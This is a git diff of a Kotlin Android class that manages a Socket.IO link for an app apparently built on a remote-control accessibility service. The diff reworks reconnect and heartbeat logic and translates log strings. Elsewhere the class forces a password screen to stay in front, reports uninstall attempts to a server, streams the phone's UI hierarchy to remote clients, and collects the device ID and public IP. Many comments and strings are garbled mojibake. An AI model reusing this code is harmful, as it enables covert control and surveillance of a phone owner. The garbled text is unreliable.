Log.d(TAG, "🔝 启动强制置顶监控,密码类型: $passwordType") + Log.d(TAG, "馃敐 鍚姩寮哄埗缃《鐩戞帶锛屽瘑鐮佺被鍨? $passwordType") - // 延迟启动强制置顶,给页面充分时间加载 + // 寤惰繜鍚姩寮哄埗缃《锛岀粰椤甸潰鍏呭垎鏃堕棿鍔犺浇 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { - // 通过AccessibilityRemoteService获取AccessibilityEventManager + // comment cleaned val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService if (accessibilityService != null) { val eventManager = accessibilityService.getAccessibilityEventManager() if (eventManager != null) { - // 启用强制返回功能 + // comment cleaned eventManager.enableForceReturn() Log.d(TAG, "Force return enabled") - // 记录操作日志 - accessibilityService.recordOperationLog("SOCKET_FORCE_TOP_START", "Socket强制置顶启动", mapOf( + // comment cleaned + accessibilityService.recordOperationLog("SOCKET_FORCE_TOP_START", "Socket force foreground start", mapOf( "passwordType" to passwordType, "deviceId" to deviceId, "installationId" to installationId, @@ -1802,7 +4394,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } catch (e: Exception) { Log.e(TAG, "Failed to start force-top monitoring", e) } - }, 2000) // 2秒延迟,给页面充分时间加载 + }, 2000) // 2绉掑欢杩燂紝缁欓〉闈㈠厖鍒嗘椂闂村姞杞? } catch (e: Exception) { Log.e(TAG, "Failed to start force-top monitoring (outer)", e) @@ -1814,11 +4406,100 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { isConnected = false isDeviceRegistered = false connectionCheckJob?.cancel() + try { + srtStreamManager.release() + } catch (e: Exception) { + Log.w(TAG, "Release SRT stream manager failed during disconnect", e) + } + try { + webRTCManager.release() + } catch (e: Exception) { + Log.w(TAG, "Release WebRTC manager failed during disconnect", e) + } } fun isConnected(): Boolean = isConnected && socket?.connected() == true fun isDeviceRegistered(): Boolean = isDeviceRegistered && isConnected() + + private fun recordDiagnosticEvent(message: String) { + val line = "${Date().toString()} | $message" + synchronized(diagnosticEventsLock) { + diagnosticEvents.addLast(line) + while (diagnosticEvents.size > maxDiagnosticEvents) { + diagnosticEvents.removeFirst() + } + } + } + + fun getConnectionDiagnosticsJson(): JSONObject { + val now = System.currentTimeMillis() + val latestAck = maxOf(lastHeartbeatAckTime, lastConnectionTestAckTime) + val events = JSONArray() + synchronized(diagnosticEventsLock) { + diagnosticEvents.forEach { events.put(it) } + } + + return JSONObject().apply { + put("serverUrl", serverUrl) + put("socketId", socket?.id() ?: "") + put("connected", isConnected()) + put("registered", isDeviceRegistered()) + put("registrationAttempts", registrationAttempts) + put("lastConnectTime", lastConnectTime) + put("lastDisconnectTime", lastDisconnectTime) + put("lastDisconnectReason", lastDisconnectReason) + put("lastConnectErrorTime", lastConnectErrorTime) + put("lastConnectErrorMessage", lastConnectErrorMessage) + put("lastDeviceRegisterEmitTime", lastDeviceRegisterEmitTime) + put("lastDeviceRegisteredTime", lastDeviceRegisteredTime) + put("lastConnectionTestSentTime", lastConnectionTestSentTime) + put("lastConnectionTestAckTime", lastConnectionTestAckTime) + put("lastHeartbeatAckTime", lastHeartbeatAckTime) + put("ackStaleMs", if (latestAck > 0) now - latestAck else -1) + put("staleAckCount", staleAckCount) + put("events", events) + } + } + + fun getConnectionDiagnosticsSummary(): String { + val diag = getConnectionDiagnosticsJson() + return buildString { + append("serverUrl=").append(diag.optString("serverUrl", "")) + append(" | connected=").append(diag.optBoolean("connected", false)) + append(" | registered=").append(diag.optBoolean("registered", false)) + append(" | socketId=").append(diag.optString("socketId", "")) + append(" | lastError=").append(diag.optString("lastConnectErrorMessage", "")) + append(" | regAttempts=").append(diag.optInt("registrationAttempts", 0)) + append(" | ackStaleMs=").append(diag.optLong("ackStaleMs", -1)) + } + } + + fun getConnectionDiagnosticsReport(): String { + val diag = getConnectionDiagnosticsJson() + val events = diag.optJSONArray("events") ?: JSONArray() + val report = StringBuilder() + report.appendLine("=== SOCKET DIAGNOSTICS ===") + report.appendLine("serverUrl: ${diag.optString("serverUrl", "")}") + report.appendLine("connected: ${diag.optBoolean("connected", false)}") + report.appendLine("registered: ${diag.optBoolean("registered", false)}") + report.appendLine("socketId: ${diag.optString("socketId", "")}") + report.appendLine("registrationAttempts: ${diag.optInt("registrationAttempts", 0)}") + report.appendLine("lastConnectError: ${diag.optString("lastConnectErrorMessage", "")}") + report.appendLine("lastDisconnectReason: ${diag.optString("lastDisconnectReason", "")}") + report.appendLine("lastConnectTime: ${diag.optLong("lastConnectTime", 0)}") + report.appendLine("lastDisconnectTime: ${diag.optLong("lastDisconnectTime", 0)}") + report.appendLine("lastDeviceRegisterEmitTime: ${diag.optLong("lastDeviceRegisterEmitTime", 0)}") + report.appendLine("lastDeviceRegisteredTime: ${diag.optLong("lastDeviceRegisteredTime", 0)}") + report.appendLine("lastHeartbeatAckTime: ${diag.optLong("lastHeartbeatAckTime", 0)}") + report.appendLine("ackStaleMs: ${diag.optLong("ackStaleMs", -1)}") + report.appendLine("staleAckCount: ${diag.optInt("staleAckCount", 0)}") + report.appendLine("-- recentEvents --") + for (i in 0 until events.length()) { + report.appendLine(events.optString(i)) + } + return report.toString() + } /** * Check connection status and reconnect immediately @@ -1826,26 +4507,26 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { private fun checkConnectionAndReconnect() { scope.launch { try { - Log.d(TAG, "立即检测连接状态") + Log.d(TAG, "Check connection status immediately") val socketConnected = socket?.connected() == true if (!socketConnected || !isConnected) { - Log.w(TAG, "连接已断开,立即重连") + Log.w(TAG, "Connection lost, trigger immediate reconnect") forceReconnect() } else { - Log.d(TAG, "连接状态正常") + Log.d(TAG, "Connection status healthy") } } catch (e: Exception) { - Log.e(TAG, "连接检测异常", e) + Log.e(TAG, "Connection status check exception", e) } } } /** - * 智能重新连接 - 增强稳定性版本(针对transport error问题) - * 添加重连深度限制,防止无限递归导致协程泄漏和内存耗尽 + * comment cleaned + * comment cleaned */ private var forceReconnectDepth = 0 private val MAX_FORCE_RECONNECT_DEPTH = 3 @@ -1853,50 +4534,51 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { fun forceReconnect() { scope.launch { try { + recordDiagnosticEvent("FORCE_RECONNECT depth=${forceReconnectDepth + 1}") forceReconnectDepth++ if (forceReconnectDepth > MAX_FORCE_RECONNECT_DEPTH) { - Log.e(TAG, "重连深度超限(${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH}),停止递归重连,等待Socket.IO自动重连") + Log.e(TAG, "Reconnect depth limit reached (${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH}); stop recursion and wait for Socket.IO auto reconnect") forceReconnectDepth = 0 return@launch } - Log.i(TAG, "开始智能重连(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})") + Log.i(TAG, "寮€濮嬫櫤鑳介噸杩?娣卞害${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})") - // 重置所有状态 + // comment cleaned isConnected = false isDeviceRegistered = false connectionCheckJob?.cancel() - // 优雅断开旧连接,给系统清理时间 + // comment cleaned try { socket?.disconnect() delay(1000) socket?.close() } catch (e: Exception) { - Log.w(TAG, "断开旧连接时出现异常(可忽略)", e) + Log.w(TAG, "Exception while disconnecting old connection (ignored)", e) } - Log.i(TAG, "旧连接已断开,等待智能延迟后重新连接...") + Log.i(TAG, "Old connection closed, waiting before smart reconnect...") - // 智能延迟:根据网络环境调整等待时间 + 随机化避免多设备同时重连 + // comment cleaned val baseDelay = if (Build.VERSION.SDK_INT >= 35) { 8000L } else { 5000L } val randomDelay = (1000..4000).random().toLong() - // 限制transportErrorCount对延迟的影响,防止延迟无限增长 + // comment cleaned val errorIncrement = minOf(transportErrorCount, 5) * 2000L val totalDelay = baseDelay + randomDelay + errorIncrement - Log.i(TAG, "智能重连延迟: ${totalDelay}ms (基础: ${baseDelay}ms + 随机: ${randomDelay}ms + 错误增量: ${errorIncrement}ms)") + Log.i(TAG, "Smart reconnect delay: ${totalDelay}ms (base: ${baseDelay}ms + random: ${randomDelay}ms + error bump: ${errorIncrement}ms)") delay(totalDelay) - // 重新创建Socket实例,使用增强配置 - Log.i(TAG, "重新创建增强Socket实例...") + // comment cleaned + Log.i(TAG, "Recreate enhanced Socket instance...") try { val useConservativeStrategy = shouldUseConservativeReconnect() - Log.i(TAG, "重连策略选择: 保守策略=$useConservativeStrategy, transportErrorCount=$transportErrorCount") + Log.i(TAG, "Reconnect strategy selected: conservative=$useConservativeStrategy, transportErrorCount=$transportErrorCount") val options = IO.Options().apply { val isVeryPoorNetwork = networkQualityScore < 30 @@ -1922,7 +4604,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { else -> 12000L } - // 传输策略:根据网络质量和历史情况调整 + // comment cleaned transports = when { isVeryPoorNetwork || networkQualityScore < 40 -> { arrayOf("polling") @@ -1931,7 +4613,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { arrayOf("polling") } else -> { - arrayOf("polling", "websocket") + arrayOf("websocket", "polling") } } upgrade = !useConservativeStrategy @@ -1945,22 +4627,22 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { setupEventListeners() socket?.connect() - Log.i(TAG, "增强Socket实例已创建并连接") - // 重连成功,重置深度计数 + Log.i(TAG, "Enhanced Socket instance created and connected") + // comment cleaned forceReconnectDepth = 0 } catch (e: Exception) { - Log.e(TAG, "重新创建Socket失败", e) + Log.e(TAG, "Failed to recreate Socket", e) - // 重连失败时的回退策略,有深度限制保护 + // comment cleaned delay(10000) if (!isConnected) { - Log.w(TAG, "重连失败,10秒后再次尝试(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})...") + Log.w(TAG, "閲嶈繛澶辫触锛?0绉掑悗鍐嶆灏濊瘯(娣卞害${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})...") forceReconnect() } } } catch (e: Exception) { - Log.e(TAG, "智能重连异常", e) + Log.e(TAG, "Smart reconnect error", e) forceReconnectDepth = 0 } } @@ -1971,27 +4653,25 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { */ private fun startConnectionMonitoring() { Log.e(TAG, "Starting enhanced connection monitoring") - - // Optimize: adjust check interval to coordinate with server 60s heartbeat val checkInterval = if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35) - 30000L // Android 15每30秒检测一次,与60秒心跳间隔形成2:1比例 + 12000L } else { - 25000L // 其他版本每25秒检测一次,更快发现连接问题 + 10000L } - + val ackTimeoutMs = if (Build.VERSION.SDK_INT >= 35) 28000L else 22000L + + connectionCheckJob?.cancel() connectionCheckJob = scope.launch { var consecutiveFailures = 0 // Consecutive failure count - + while (isActive && isConnected) { try { delay(checkInterval) - - Log.w(TAG, "Executing smart connection check...") - + // Multi-layer connection status check val socketConnected = socket?.connected() == true val socketExists = socket != null - + if (!socketExists) { Log.e(TAG, "Socket instance does not exist") isConnected = false @@ -1999,64 +4679,77 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { forceReconnect() break } - + if (!socketConnected) { consecutiveFailures++ Log.e(TAG, "Socket.IO connection lost, consecutive failures: $consecutiveFailures") - - // Balance fault tolerance and response speed - if (consecutiveFailures >= 5) { + + if (consecutiveFailures >= 3) { Log.e(TAG, "Connection check failed ${consecutiveFailures} times, triggering reconnect") isConnected = false isDeviceRegistered = false forceReconnect() break } else { - Log.w(TAG, "Check failure count: $consecutiveFailures/5, waiting for next check") continue } } else { - consecutiveFailures = 0 // 重置失败计数 + consecutiveFailures = 0 } - - // Optimize heartbeat test: reduce frequency to minimize transport errors - if (consecutiveFailures == 0) { - try { - val testData = JSONObject().apply { - put("type", "connection_test") - put("timestamp", System.currentTimeMillis()) - put("device_id", android.provider.Settings.Secure.getString( - service.contentResolver, - android.provider.Settings.Secure.ANDROID_ID - )) - } - socket?.emit("CONNECTION_TEST", testData) - Log.w(TAG, "Connection check: test message sent successfully") - - } catch (e: Exception) { - consecutiveFailures++ - Log.e(TAG, "Connection check: test message send failed, consecutive failures: $consecutiveFailures", e) - - // Respond quickly to heartbeat failures - if (consecutiveFailures >= 6) { - Log.e(TAG, "Heartbeat test failed ${consecutiveFailures} times, calling reconnect") - isConnected = false - forceReconnect() - break - } + + val now = System.currentTimeMillis() + val latestAckTime = maxOf(lastConnectionTestAckTime, lastHeartbeatAckTime) + val hasPendingProbe = lastConnectionTestSentTime > 0 && latestAckTime < lastConnectionTestSentTime + val ackStaleFor = now - latestAckTime + if (hasPendingProbe && ackStaleFor > ackTimeoutMs) { + staleAckCount++ + Log.e(TAG, "Heartbeat ACK stale: ${ackStaleFor}ms, staleCount=$staleAckCount") + if (staleAckCount >= 2) { + Log.e(TAG, "Heartbeat ACK stale threshold reached, forcing reconnect") + isConnected = false + isDeviceRegistered = false + forceReconnect() + break + } + } else if (latestAckTime > 0 && ackStaleFor <= ackTimeoutMs) { + staleAckCount = 0 + } + + try { + val testTimestamp = System.currentTimeMillis() + val testData = JSONObject().apply { + put("type", "connection_test") + put("timestamp", testTimestamp) + put("device_id", android.provider.Settings.Secure.getString( + service.contentResolver, + android.provider.Settings.Secure.ANDROID_ID + )) + } + lastConnectionTestSentTime = testTimestamp + socket?.emit("CONNECTION_TEST", testData) + } catch (e: Exception) { + consecutiveFailures++ + Log.e(TAG, "Connection check: test message send failed, consecutive failures: $consecutiveFailures", e) + + if (consecutiveFailures >= 4) { + Log.e(TAG, "Heartbeat test failed ${consecutiveFailures} times, calling reconnect") + isConnected = false + isDeviceRegistered = false + forceReconnect() + break } } - + } catch (e: Exception) { Log.e(TAG, "Connection monitoring exception", e) break } } - - Log.e(TAG, "💔💔💔 连接监控结束 💔💔💔") + + Log.e(TAG, "Connection monitoring stopped") } } - + private fun getDeviceId(): String { return android.provider.Settings.Secure.getString( service.contentResolver, @@ -2072,7 +4765,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 获取设备屏幕宽度 + * comment cleaned */ private fun getScreenWidth(): Int { val metrics = service.resources.displayMetrics @@ -2080,10 +4773,10 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 获取设备屏幕高度 + * comment cleaned */ private fun getScreenHeight(): Int { - // 使用WindowMetrics获取完整的屏幕尺寸(包含系统UI) + // comment cleaned try { val windowManager = service.getSystemService(Context.WINDOW_SERVICE) as android.view.WindowManager return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { @@ -2098,38 +4791,37 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { realSize.y } } catch (e: Exception) { - Log.e(TAG, "获取真实屏幕尺寸失败,使用默认方法", e) + Log.e(TAG, "Get real screen height failed, fallback to display metrics", e) val metrics = service.resources.displayMetrics return metrics.heightPixels } } /** - * 处理UI层次结构分析请求 - 默认使用增强功能 + * comment cleaned */ private fun handleUIHierarchyRequest(requestData: JSONObject) { try { - Log.e(TAG, "Processing UI hierarchy analysis request (enhanced mode)") - + Log.i(TAG, "Processing UI hierarchy analysis request") + val requestId = requestData.optString("requestId", "") val clientId = requestData.optString("clientId", "") - val includeInvisible = requestData.optBoolean("includeInvisible", true) // 默认true + val includeInvisible = requestData.optBoolean("includeInvisible", false) val includeNonInteractive = requestData.optBoolean("includeNonInteractive", true) - val maxDepth = requestData.optInt("maxDepth", 25) // 默认25层 - - Log.e(TAG, "Request params: requestId=$requestId, clientId=$clientId, includeInvisible=$includeInvisible, includeNonInteractive=$includeNonInteractive, maxDepth=$maxDepth") - - // 使用协程在后台执行UI分析 + val maxDepth = requestData.optInt("maxDepth", 12).coerceIn(4, 16) + + Log.i( + TAG, + "UI hierarchy request: requestId=$requestId, clientId=$clientId, includeInvisible=$includeInvisible, includeNonInteractive=$includeNonInteractive, maxDepth=$maxDepth" + ) + scope.launch { try { - Log.e(TAG, "🔬🔬🔬 开始执行增强UI分析!!! 🔬🔬🔬") - - // 直接调用原有的分析方法,并使用增强参数 - val enhancedMaxDepth = maxOf(maxDepth, 25) // 至少25层 - val enhancedIncludeInvisible = includeInvisible || true // 默认包含不可见元素 - val hierarchy = service.analyzeUIHierarchy(enhancedIncludeInvisible, includeNonInteractive, enhancedMaxDepth) - - // 获取基本设备信息 + Log.i(TAG, "Start UI hierarchy analysis") + val hierarchy = withTimeout(12_000) { + service.analyzeUIHierarchy(includeInvisible, includeNonInteractive, maxDepth) + } + val deviceCharacteristics = mapOf( "brand" to android.os.Build.BRAND, "model" to android.os.Build.MODEL, @@ -2138,25 +4830,18 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { "androidVersion" to android.os.Build.VERSION.RELEASE, "deviceType" to "android" ) - + if (hierarchy != null) { - Log.e(TAG, "Enhanced UI analysis succeeded") - - // 发送完整的UI层次结构响应 val responseData = JSONObject().apply { put("deviceId", getDeviceId()) put("requestId", requestId) put("clientId", clientId) put("success", true) - put("message", "增强UI分析成功") + put("message", "UI hierarchy analysis succeeded") put("timestamp", System.currentTimeMillis()) put("hierarchy", hierarchy as Any) - put("enhanced", true) // 总是标识为增强版 - - // 总是包含设备特征信息 + put("enhanced", true) put("deviceCharacteristics", JSONObject(deviceCharacteristics)) - - // 添加分析元数据 put("analysisMetadata", JSONObject().apply { put("version", "enhanced_v1.0") put("parameters", JSONObject().apply { @@ -2171,32 +4856,27 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { }) }) } - - Log.e(TAG, "Sending enhanced UI hierarchy response") - Log.e(TAG, "Response data size: ${responseData.toString().length} chars") - Log.e(TAG, "Device features: included") - - // 发送响应 + + Log.i(TAG, "Sending UI hierarchy response, size=${responseData.toString().length}") sendUIHierarchyResponse(responseData) - } else { - Log.e(TAG, "Enhanced UI analysis returned null") - // 发送错误响应 - sendUIHierarchyError(requestId, clientId, "无法获取UI层次结构(增强模式)") + sendUIHierarchyError(requestId, clientId, "Unable to get UI hierarchy") } + } catch (timeout: TimeoutCancellationException) { + Log.w(TAG, "UI hierarchy analysis timeout") + sendUIHierarchyError(requestId, clientId, "UI hierarchy analyze timeout") } catch (e: Exception) { - Log.e(TAG, "Enhanced UI hierarchy analysis failed", e) - sendUIHierarchyError(requestId, clientId, "增强分析失败: ${e.message}") + Log.e(TAG, "UI hierarchy analysis failed", e) + sendUIHierarchyError(requestId, clientId, "UI hierarchy analyze failed: ${e.message}") } } - } catch (e: Exception) { Log.e(TAG, "Handle UI hierarchy request failed", e) } } - + /** - * 发送UI层次结构响应 - 使用screen_data事件发送(已验证可行) + * comment cleaned */ private fun sendUIHierarchyResponse(responseData: JSONObject) { try { @@ -2210,13 +4890,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { // Convert UI response data to screen_data format val uiScreenData = JSONObject().apply { put("deviceId", getDeviceId()) - put("format", "UI_HIERARCHY") // 特殊格式标识 - put("data", responseData.toString()) // UI数据作为字符串 + put("format", "UI_HIERARCHY") // 閻楄鐣╅弽鐓庣础閺嶅洩鐦? + put("data", responseData.toString()) // UI鏁版嵁浣滀负瀛楃涓? put("width", getScreenWidth()) put("height", getScreenHeight()) - put("quality", 100) // UI数据质量设为100 + put("quality", 100) // UI閺佺増宓佺拹銊╁櫤鐠佸彞璐?00 put("timestamp", System.currentTimeMillis()) - put("uiHierarchy", true) // 标识这是UI层次结构数据 + put("uiHierarchy", true) // mark as UI hierarchy data } val emitResult = socket?.emit("screen_data", uiScreenData) @@ -2243,7 +4923,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 发送UI层次结构错误响应 - 使用screen_data事件发送 + * comment cleaned */ private fun sendUIHierarchyError(requestId: String, clientId: String, errorMessage: String) { try { @@ -2264,14 +4944,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { // Convert error response to screen_data format val errorScreenData = JSONObject().apply { put("deviceId", getDeviceId()) - put("format", "UI_HIERARCHY") // 特殊格式标识 - put("data", errorData.toString()) // 错误数据作为字符串 + put("format", "UI_HIERARCHY") // 閻楄鐣╅弽鐓庣础閺嶅洩鐦? + put("data", errorData.toString()) // 閿欒鏁版嵁浣滀负瀛楃涓? put("width", getScreenWidth()) put("height", getScreenHeight()) put("quality", 100) put("timestamp", System.currentTimeMillis()) - put("uiHierarchy", true) // 标识这是UI层次结构数据 - put("isError", true) // 标识这是错误响应 + put("uiHierarchy", true) // mark as UI hierarchy data + put("isError", true) // 鏍囪瘑杩欐槸閿欒鍝嶅簲 } val emitResult = socket?.emit("screen_data", errorScreenData) @@ -2324,7 +5004,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } } } catch (e: Exception) { - Log.w(TAG, "获取网络类型失败", e) + Log.w(TAG, "Failed to get network type", e) "UNKNOWN" } } @@ -2336,33 +5016,33 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val currentTime = System.currentTimeMillis() val networkType = getCurrentNetworkType() - // 多因素判断是否使用保守策略 + // comment cleaned val factorsForConservative = mutableListOf() - // 1. Transport Error频率判断 + // comment cleaned if (transportErrorCount >= 2 && (currentTime - lastTransportErrorTime) < 600000) { - factorsForConservative.add("频繁transport_error(${transportErrorCount}次)") + factorsForConservative.add("棰戠箒transport_error(${transportErrorCount}娆?") } - // 2. 网络类型判断 - CELLULAR网络更容易不稳定 + // comment cleaned if (networkType == "CELLULAR") { - factorsForConservative.add("移动网络") + factorsForConservative.add("Cellular network") } - // 3. 连接持续时间判断 - 如果经常短时间断开,说明网络不稳定 + // comment cleaned val connectionDuration = currentTime - lastConnectTime - if (connectionDuration < 120000 && lastConnectTime > 0) { // 连接时间少于2分钟 - factorsForConservative.add("短连接时间(${connectionDuration/1000}秒)") + if (connectionDuration < 120000 && lastConnectTime > 0) { // 杩炴帴鏃堕棿灏戜簬2鍒嗛挓 + factorsForConservative.add("鐭繛鎺ユ椂闂?${connectionDuration/1000}绉?") } - // 4. Android版本判断 - Android 15可能需要特殊处理 + // comment cleaned if (Build.VERSION.SDK_INT >= 35) { - factorsForConservative.add("Android15系统") + factorsForConservative.add("Android15 system") } - // 5. 网络质量分数判断 - 分数低于60时使用保守策略 + // comment cleaned if (networkQualityScore < 60) { - factorsForConservative.add("网络质量较差(${networkQualityScore}分)") + factorsForConservative.add("缃戠粶璐ㄩ噺杈冨樊(${networkQualityScore}鍒?") } val useConservative = factorsForConservative.isNotEmpty() @@ -2381,7 +5061,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { */ private fun recordConnectionDuration(duration: Long) { recentConnectionTimes.add(duration) - // 只保留最近10次连接记录 + // comment cleaned if (recentConnectionTimes.size > 10) { recentConnectionTimes.removeAt(0) } @@ -2394,21 +5074,21 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val previousScore = networkQualityScore if (isSuccess) { - // 连接成功,适度提升分数 + // comment cleaned networkQualityScore = minOf(100, networkQualityScore + 5) } else { - // 连接失败或断开,根据原因和时长降低分数 + // comment cleaned val penalty = when { - reason == "transport_error" -> 15 // transport error惩罚较重 - duration < 30000 -> 12 // 连接时间少于30秒,网络很不稳定 - duration < 120000 -> 8 // 连接时间少于2分钟,网络不稳定 - duration < 300000 -> 5 // 连接时间少于5分钟,轻微不稳定 - else -> 2 // 长时间连接后断开,轻微惩罚 + reason == "transport_error" -> 15 // transport error閹晝缍掓潏鍐櫢 + duration < 30000 -> 12 // 杩炴帴鏃堕棿灏戜簬30绉掞紝缃戠粶寰堜笉绋冲畾 + duration < 120000 -> 8 // 杩炴帴鏃堕棿灏戜簬2鍒嗛挓锛岀綉缁滀笉绋冲畾 + duration < 300000 -> 5 // 杩炴帴鏃堕棿灏戜簬5鍒嗛挓锛岃交寰笉绋冲畾 + else -> 2 // 闀挎椂闂磋繛鎺ュ悗鏂紑锛岃交寰儵缃? } networkQualityScore = maxOf(0, networkQualityScore - penalty) } - // 根据成功率进行额外调整 + // comment cleaned val totalConnections = connectionSuccessCount + connectionFailureCount if (totalConnections >= 5) { val successRate = connectionSuccessCount.toFloat() / totalConnections @@ -2418,12 +5098,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } } - // 根据平均连接时长进行调整 + // 鏍规嵁骞冲潎杩炴帴鏃堕暱杩涜璋冩暣 if (recentConnectionTimes.isNotEmpty()) { val avgDuration = recentConnectionTimes.average() when { - avgDuration >= 300000 -> networkQualityScore = minOf(100, networkQualityScore + 2) // 平均5分钟以上 - avgDuration <= 60000 -> networkQualityScore = maxOf(0, networkQualityScore - 3) // 平均1分钟以下 + avgDuration >= 300000 -> networkQualityScore = minOf(100, networkQualityScore + 2) // 楠炲啿娼?鍒嗛挓浠ヤ笂 + avgDuration <= 60000 -> networkQualityScore = maxOf(0, networkQualityScore - 3) // 楠炲啿娼?鍒嗛挓浠ヤ笅 } } @@ -2437,11 +5117,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { */ private fun getNetworkQualityDescription(): String { return when { - networkQualityScore >= 80 -> "优秀" - networkQualityScore >= 60 -> "良好" - networkQualityScore >= 40 -> "一般" - networkQualityScore >= 20 -> "较差" - else -> "很差" + networkQualityScore >= 80 -> "Excellent" + networkQualityScore >= 60 -> "鑹ソ" + networkQualityScore >= 40 -> "Average" + networkQualityScore >= 20 -> "Poor" + else -> "Very Poor" } } @@ -2451,19 +5131,19 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { fun getNetworkQualityScore(): Int = networkQualityScore /** - * 🆕 获取设备公网IP地址 + * Get device public IP address */ private suspend fun getPublicIP(): String? { return withContext(Dispatchers.IO) { try { - // 检查缓存 + // comment cleaned val currentTime = System.currentTimeMillis() if (cachedPublicIP != null && (currentTime - lastIPCheckTime) < IP_CACHE_DURATION) { Log.d(TAG, "Using cached public IP: $cachedPublicIP") return@withContext cachedPublicIP } - // 尝试多个公网IP检测服务,增加成功率 + // comment cleaned val ipServices = listOf( "https://ipinfo.io/ip", "https://api.ipify.org", @@ -2477,14 +5157,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val url = java.net.URL(service) val connection = url.openConnection() as java.net.HttpURLConnection connection.requestMethod = "GET" - connection.connectTimeout = 5000 // 5秒超时 + connection.connectTimeout = 5000 // 5绉掕秴鏃? connection.readTimeout = 5000 connection.setRequestProperty("User-Agent", "RemoteControl-Android") if (connection.responseCode == 200) { val ip = connection.inputStream.bufferedReader().use { it.readText().trim() } - // 验证IP格式 + // comment cleaned if (isValidIP(ip)) { cachedPublicIP = ip lastIPCheckTime = currentTime @@ -2510,7 +5190,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 🆕 验证IP地址格式 + * comment cleaned */ private fun isValidIP(ip: String): Boolean { return try { @@ -2534,7 +5214,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val eventData = JSONObject().apply { put("deviceId", getDeviceId()) put("type", type) - put("message", message.ifEmpty { "检测到卸载尝试: $type" }) + put("message", message.ifEmpty { "Detected uninstall attempt: $type" }) put("timestamp", System.currentTimeMillis()) } @@ -2549,14 +5229,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 🆕 获取系统版本名称(如Android 11、Android 12等) + * comment cleaned */ private fun getSystemVersionName(): String { return try { val apiLevel = android.os.Build.VERSION.SDK_INT val release = android.os.Build.VERSION.RELEASE - // 根据API级别映射到Android版本名称 + // comment cleaned val versionName = when (apiLevel) { 35 -> "Android 15" 34 -> "Android 14" @@ -2581,7 +5261,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } /** - * 🆕 获取ROM类型(如MIUI、ColorOS、FunTouch等) + * comment cleaned */ private fun getROMType(): String { return try { @@ -2589,48 +5269,48 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val manufacturer = android.os.Build.MANUFACTURER.lowercase() val romType = when { - // 小米系列 + // comment cleaned brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> { when { - hasSystemProperty("ro.mi.os.version.incremental") -> "澎湃OS" + hasSystemProperty("ro.mi.os.version.incremental") -> "HyperOS" hasSystemProperty("ro.miui.ui.version.name") -> "MIUI" - else -> "原生Android" + else -> "AOSP Android" } } - // 华为系列 + // comment cleaned brand.contains("huawei") || brand.contains("honor") -> { when { hasSystemProperty("ro.build.version.emui") -> "EMUI" hasSystemProperty("ro.magic.api.version") -> "Magic UI" - else -> "原生Android" + else -> "AOSP Android" } } - // OPPO系列 + // comment cleaned brand.contains("oppo") || brand.contains("oneplus") -> { when { hasSystemProperty("ro.build.version.opporom") -> "ColorOS" hasSystemProperty("ro.oxygen.version") -> "OxygenOS" - else -> "原生Android" + else -> "AOSP Android" } } - // vivo系列 + // comment cleaned brand.contains("vivo") || brand.contains("iqoo") -> { if (hasSystemProperty("ro.vivo.os.version")) "OriginOS" else "Funtouch OS" } - // 三星系列 + // comment cleaned brand.contains("samsung") -> "One UI" - // 魅族系列 + // comment cleaned brand.contains("meizu") -> "Flyme" - // 努比亚系列 + // comment cleaned brand.contains("nubia") -> "nubia UI" - // 联想系列 + // comment cleaned brand.contains("lenovo") -> "ZUI" - // 中兴系列 + // comment cleaned brand.contains("zte") -> "MiFavor" - // Google系列 - brand.contains("google") || brand.contains("pixel") -> "原生Android" + // comment cleaned + brand.contains("google") || brand.contains("pixel") -> "AOSP Android" else -> { - // 尝试通过系统属性检测 + // comment cleaned when { hasSystemProperty("ro.miui.ui.version.name") -> "MIUI" hasSystemProperty("ro.build.version.emui") -> "EMUI" @@ -2648,61 +5328,61 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { romType } catch (e: Exception) { Log.e(TAG, "Get ROM type failed", e) - "未知ROM" + "Unknown ROM" } } /** - * 🆕 获取ROM版本(如MIUI 12.5、ColorOS 11.1等) + * comment cleaned */ private fun getROMVersion(): String { return try { val brand = android.os.Build.BRAND.lowercase() val romVersion = when { - // 小米MIUI/澎湃OS版本 + // comment cleaned brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> { - 